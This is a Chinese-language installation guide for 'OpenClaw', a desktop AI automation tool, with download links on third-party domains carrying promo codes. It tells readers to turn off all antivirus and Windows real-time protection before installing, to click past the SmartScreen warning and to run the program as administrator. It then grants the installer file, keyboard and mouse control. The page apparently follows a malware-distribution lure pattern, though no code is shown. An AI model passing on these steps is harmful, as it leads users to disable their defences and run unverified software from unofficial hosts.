OpenClaw 双端搭建教程｜零基础快速部署桌面 AI 自动化工具

一、软件版本与硬件适配说明

OpenClaw 是一款面向桌面场景的智能自动化工具，支持 Windows、macOS 两大操作系统部署，本篇教程基于稳定版本进行讲解。安装包体积小巧，仅 45.8MB，下载速度快，部署效率高，适合个人办公、桌面自动化场景使用。

适配版本明细

• Windows 平台：支持 Win10/Win11 64 位系统，稳定版本v2.9.0
• macOS 平台：支持 macOS 12 及以上系统，稳定版本v2.7.9

二、工具核心部署优势

不少自动化工具部署门槛较高，需要手动搭建代码环境、逐一安装各类依赖库，对于没有相关经验的使用者十分不友好。OpenClaw 采用一体化封装部署方案，运行所需 Python、Node.js、Git 等组件全部内置，无需手动配置环境变量。

整套操作依托图形化界面完成，无需输入命令行，普通使用者花费几分钟就能完成全部部署工作，借助工具处理各类重复性电脑操作。

三、安装前置关键准备（避坑核心）

软件具备本地文件读写、键鼠模拟、程序自动操控等功能，安全防护软件容易将程序判定为风险项目，出现拦截、隔离、删除核心文件等情况，最终造成部署失败、启动异常。

在解压文件、安装以及启动程序前，建议临时关闭电脑所有安全防护程序，包括 Windows 自带实时防护、火绒、360 安全卫士、腾讯电脑管家等。该项目为开源项目，安全性可自行前往 GitHub 核验，安装结束后可以重新开启防护功能。

四、双系统安装包下载地址

建议使用专业解压工具处理下载后的压缩包，系统自带解压方式容易造成文件缺失，引发程序运行报错。

Windows v2.9.0 下载链接 https://xiake.yun/api/download/package/20?promoCode=IV4E9B04A80C

macOS v2.7.9 下载链接 https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C

五、Windows 端完整部署流程

1. 文件解压与程序启动

解压下载完成的压缩包，生成对应的程序文件夹。

进入文件夹，双击带有龙虾标识的启动程序。

如果弹出 Windows 安全拦截窗口，点击更多信息，选择仍要运行即可正常启动软件。

2. 安装路径规范设置

进入安装界面后自定义存储目录，路径需要严格遵守规范：全程使用英文字符，不能包含中文、空格、各类特殊符号。不推荐安装至 C 盘，容易产生权限问题并且占用系统磁盘空间。 合规示例：D:\OpenClaw、E:\AI\OpenClaw

选定路径，勾选同意《用户协议》与《免责声明》，点击开始安装，进入自动部署阶段。

3. 全自动环境部署

部署全程自动运行，不需要人为操作，程序自动检测设备环境、补齐缺失依赖、部署核心程序、生成配置文件并创建桌面快捷方式。整个过程持续 3 至 5 分钟，时长取决于电脑硬件配置，部署阶段不要关闭程序窗口，避免进程中断。

4. 第一次启动校验服务状态

安装完成软件会自动进入初始化流程，第一次启动需要加载 Gateway 后台服务，等待 1~3 分钟属于正常现象。当界面右上角状态显示「Gateway 在线」，代表部署全部完成，各类自动化功能均可正常调用。软件内置 28 万 Tokens 额度，可以满足基础场景使用需求。

六、新手快速体验指令（可直接复制使用）

部署完成后，在底部输入框输入自然语言指令，工具会自动拆分任务，操控电脑完成自动化工作。指令描述越详尽，执行效果越好，可以使用下面指令快速验证功能：

1. 整理电脑 D 盘下载目录，按文件类型自动分类归档
2. 新建记事本并写入测试文字，保存至电脑桌面
3. 统计本机各磁盘剩余存储空间并整理展示

七、高频异常问题统一排查方案

1. 安装失败、程序无响应

优先确认安全防护软件已经完全关闭，文件大概率被防护工具隔离；关闭防护程序后，重新解压安装包再次尝试。

2. Gateway 持续离线

检查安装路径是否全部为英文，不存在中文或者特殊符号；点击界面重启网关服务，或者右键程序选择以管理员身份运行。

3. 启动网络异常

第一次初始化需要网络支持，关闭代理、VPN 工具，保证网络畅通后重新启动程序。

4. 无法发送指令、界面无反馈

等待 Gateway 服务加载完成，状态切换为在线之后再下发指令，服务未就绪会导致功能暂时失效。

八、长期使用优化技巧

安装时尽量选择剩余存储空间 5G 以上的分区，预留空间存放后续插件、模型缓存文件。日常使用直接双击桌面快捷方式启动，无需反复解压部署。

想要借助飞书等工具远程下发指令，可以进入软件设置页面，找到聊天渠道板块完成配置，实现多渠道联动自动化。后续版本更新直接下载新版安装包覆盖原有文件夹即可，不必卸载旧版本。

Windows v2.9.0 下载链接https://xiake.yun/api/download/package/20?promoCode=IV4E9B04A80C

macOS v2.7.9 下载链接https://openclaw.ikidi.top/api/download/package/35?promoCode=IV4E9B04A80C